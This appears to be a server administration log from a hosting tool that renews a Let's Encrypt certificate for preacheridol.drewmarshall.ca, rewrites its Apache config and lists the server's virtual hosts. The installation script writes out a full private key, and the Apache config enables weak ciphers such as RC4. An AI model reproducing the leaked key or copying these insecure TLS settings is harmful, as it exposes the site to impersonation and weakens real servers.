Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-06 06:02:07: Establishing a connection
2025-09-06 06:02:07: Establishing a connection
2025-09-06 06:02:08:
PUT: /tmp/pkp286559
#!/bin/bash
if [ -d "/var/www/drewmarshall_preacheridol/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-06 06:02:08:
chmod 755 /tmp/pkp286559; /tmp/pkp286559; rm /tmp/pkp286559
2025-09-06 06:02:08:
1
2025-09-06 06:02:08: Establishing a connection
2025-09-06 06:02:08:
PUT: /tmp/pkp580595
#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cat > ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y
2025-09-06 06:02:08:
chmod 755 /tmp/pkp580595; /tmp/pkp580595; rm /tmp/pkp580595
2025-09-06 06:02:08:
2025-09-06 06:02:16: Establishing a connection
2025-09-06 06:02:16:
PUT: /tmp/pkp911230
#!/bin/bash
mkdir -p "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_preacheridol/.well-known/acme-challenge/"
rm ppO8QFj8vTlMYuXaQKSG6AOewOT38Qbr3K9Eo8X-G7Y
2025-09-06 06:02:16:
chmod 755 /tmp/pkp911230; /tmp/pkp911230; rm /tmp/pkp911230
2025-09-06 06:02:16:
2025-09-06 06:02:16: Establishing a connection
2025-09-06 06:02:16:
PUT: /tmp/pkp758239
#!/bin/bash
temp_file=$(mktemp)
TARGET=dedbbb759062bdb197a5a897ec5601b7.crt
cat > $temp_file <<'endmsg'
41:42:30:a9:e7:ac:d3:27:aa:c9:00:77:48:1c:63:f6
-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBeemBfEOzEMEpd+fdUik2icBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzQzWhcNMjUxMjA1MDUwMzQyWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAxz6dAzbKzKG3E5K+OVYJpbkO4zq2eNrgXn3X/zl0qioI
2ypR5XUWlJS3NM7TgI3x75PDXJqpPg8I1WbHsbO0FCaXWG/olwRvb1TPB9Mstim+
xlx183wrx1JvdfMUmB63vucoYnc0rwZQYIA/QJPMuHGxcLzeF6pEnbzPFiwU1MY+
JuCwRfHyGv+omDOLqljZU79NEqJJtFm30uLvdj99orFOTuX81jGaBYtncVnttJRK
DXMAFV2gNMeIJRI8M3a8w3FB41/fsCjwqr5UZQsxw53nSz7csHgTq37ZxtYPXGBa
ssv+JlmfsJ3AdY7xb8oD7ZqEfU0llEFP9xl7VS1EUwIDAQABo4ICKjCCAiYwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBQpjBdDXtvgFfXbdKRi5YtqL90ZTDAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYD
VR0fBCYwJDAioCCgHoYcaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8yLmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAF
hOvlhiY6AAABmR2ePZkAAAQDAEYwRAIgDW/8KnItQY9fDgE9SSlb7PJnpOVpRXge
tssAwMvpEOoCIFu5xLB9UzoIMed84hUAEAwZEXrcuqsSPHdOUSazEfzEAHYA7TxL
1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZHZ5FZgAABAMARzBFAiEA
pEdRei1Gtq1pUXIvoMMVhezybc5JkBLWC+8HAQ/yF8gCIH52l8W0htYFhlNG3UbO
afQLEEQTXaMfXUtSG2OvS7VBMA0GCSqGSIb3DQEBCwUAA4IBAQCANodXWKDyMDjn
ZC2SWxQJuaviPBciCyelTFTGN+iZOZ1n2vCBtSET0cT5UW8ChFxVoCOpT6R9YgcA
J5SQ6LM1nEdOczLQSXDBxP0ngJ6vurlA1uZNczG1foyVXZHXPLcAfgTRTExtJITV
NotXJCPXOMAJgIip0UdLUYOzSrJ0OZk9HIMHA8Zfk8AMyleXeSy/BdXDtS80y+rE
DWkhstjGyG+1+3GI6pigHu+rHmYNdUnHvZvKdhOfyOvm5R+qDiSqYrK+4L9dt4QL
YgcutnXMYeM9dLf739nBbvHbFF7Hl6burJ6zOx9dPlHhQX4G+VbTpgii4EFkI2R5
TfOon47l
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHPp0DNsrMobcT
kr45VgmluQ7jOrZ42uBefdf/OXSqKgjbKlHldRaUlLc0ztOAjfHvk8Ncmqk+DwjV
Zsexs7QUJpdYb+iXBG9vVM8H0yy2Kb7GXHXzfCvHUm918xSYHre+5yhidzSvBlBg
gD9Ak8y4cbFwvN4XqkSdvM8WLBTUxj4m4LBF8fIa/6iYM4uqWNlTv00Sokm0WbfS
4u92P32isU5O5fzWMZoFi2dxWe20lEoNcwAVXaA0x4glEjwzdrzDcUHjX9+wKPCq
vlRlCzHDnedLPtyweBOrftnG1g9cYFqyy/4mWZ+wncB1jvFvygPtmoR9TSWUQU/3
GXtVLURTAgMBAAECggEBAKldmyBpShiKetJjkdmxPkAmP/Z+KTAwdjs8ZAhrMbWY
R7Dtl3IihtBEXjvAeF81yeuqQo4MVkMPiqXEWYm/xRq/9zTQ4/jDZ2pOwDHZm485
ixaY8BbKfXhQpbiwqdfpfK4FVvnkdN820cpGGf5t5L8AviGkGnIpZWxkW/BwBkEa
xuDW0gxQVZ9muuOo4RgJvSMC/KrF7mDLBSMntLajtCwEnnhmEyZZz/tlnMnm+v0h
Bq7AdyG7jAjGTHKAJVXvAFIrHWdaGFRao3BUvXaB2WKoPZ9d+4Jww1lE5rx4IV95
Flt7/aPxtoFMFS4S0Lvynawn6fN6sIs+AJ2asz403ZECgYEA6zVOKPzrI/EZAlmb
T78cGG0bxo/g1zXb1bRzEkmmsqJPpbk74OQEwKuAE5aDhDBDdHhn+X3TVIhhYsG+
mprsh7uED2YUTWJ0kiwtLtHI8mIB2GCUWSHzFfP9a7y9Fk4Xp3K3kB48wYkrgh36
XCapsJQmoT14gJInGFTDkGOvSYkCgYEA2Nt2DUZN7VzIf4zbwQlBL+uM8z3PO4M0
ZmhmL9VAfYtUrK79xyt4O8hCjZjb8zSftYM3mcwQ6V+smaxVjrMYOCjawhq8wo6K
N6HMYsY/M44jzWhi5YbYFZuQoY9x3q0Lj3bKOWW3sgenOailcIrrl3GZLGxXqnaR
ZuFard9DE/sCgYEA4yITu0MZ8xhk1T8g2y6q+++JTgMs1cZd5w4dvUBAaOqSzW+G
IlMvP7udr8y+bg2JZlTL20Mlq9ETciG0ZWpMFXsAOTqTSnNULL/aVgch7Oa173S8
bSJ6su1uAPc/BeYds4b1OofoleBXkoxOc2Smoy097KEG1+nLNRTN0YZiBDkCgYAN
3UoY4yvMRyhSb1EFcHAIfkjOrF75cRQCkB4oZLvwyt2pBK8Y8sCHIfCPWPyG+hBT
7IW7gX57TTCdypTVwMGFpacGzerPjYlssR1+GyqjQy0qzsez4QEjsIR4r9EZ6XpZ
u8CGFui9qxuX5h5dqaQSVKL0YiDgtx/osfO4NhP1zQKBgGRd1s5k/6sdvbC0QH3j
TAoGV3y3Guh+rCniYDjjaReCfJnW87J9pnz6fxfJWwW3ZkP018PcVfI3rTlTKAC2
EMttrALibnyhqmU6SgE8iBaghJx/HRAUv3eTX6rvEVYHHSVYr2Tw9faft/hLTtrB
bab2Tw3blH/nSODb3X+FpzRl
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-06 06:02:16:
chmod 755 /tmp/pkp758239; /tmp/pkp758239; rm /tmp/pkp758239
2025-09-06 06:02:16:
dir=/etc/ssl/certs
2025-09-06 06:02:16:
PUT: /tmp/pkp980412
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-06 06:02:16:
chmod 755 /tmp/pkp980412; /tmp/pkp980412; rm /tmp/pkp980412
2025-09-06 06:02:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52
<VirtualHost *:80>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:02:16:
PUT: /tmp/pkp548943
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi
2025-09-06 06:02:16:
chmod 755 /tmp/pkp548943; /tmp/pkp548943; rm /tmp/pkp548943
2025-09-06 06:02:16:
2025-09-06 06:02:16:
PUT: /tmp/pkp780209
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-06 06:02:16:
chmod 755 /tmp/pkp780209; /tmp/pkp780209; rm /tmp/pkp780209
2025-09-06 06:02:17:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:02:17: Establishing a connection
2025-09-06 06:02:17:
PUT: /tmp/pkp496829
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-06 06:02:17:
chmod 755 /tmp/pkp496829; /tmp/pkp496829; rm /tmp/pkp496829
2025-09-06 06:02:17:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-06 06:02:17:
PUT: /tmp/pkp596630
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:02:17:
chmod 755 /tmp/pkp596630; /tmp/pkp596630; rm /tmp/pkp596630
2025-09-06 06:02:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 1308
<VirtualHost *:80>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName preacheridol.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
DocumentRoot /var/www/drewmarshall_preacheridol
<Directory /var/www/drewmarshall_preacheridol>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/preacheridol_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-06 06:02:17:
PUT: /tmp/pkp148299
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-06 06:02:17:
chmod 755 /tmp/pkp148299; /tmp/pkp148299; rm /tmp/pkp148299
2025-09-06 06:02:17:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt 5378
41:42:30:a9:e7:ac:d3:27:aa:c9:00:77:48:1c:63:f6
-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBeemBfEOzEMEpd+fdUik2icBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA2MDUwMzQzWhcNMjUxMjA1MDUwMzQyWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAxz6dAzbKzKG3E5K+OVYJpbkO4zq2eNrgXn3X/zl0qioI
2ypR5XUWlJS3NM7TgI3x75PDXJqpPg8I1WbHsbO0FCaXWG/olwRvb1TPB9Mstim+
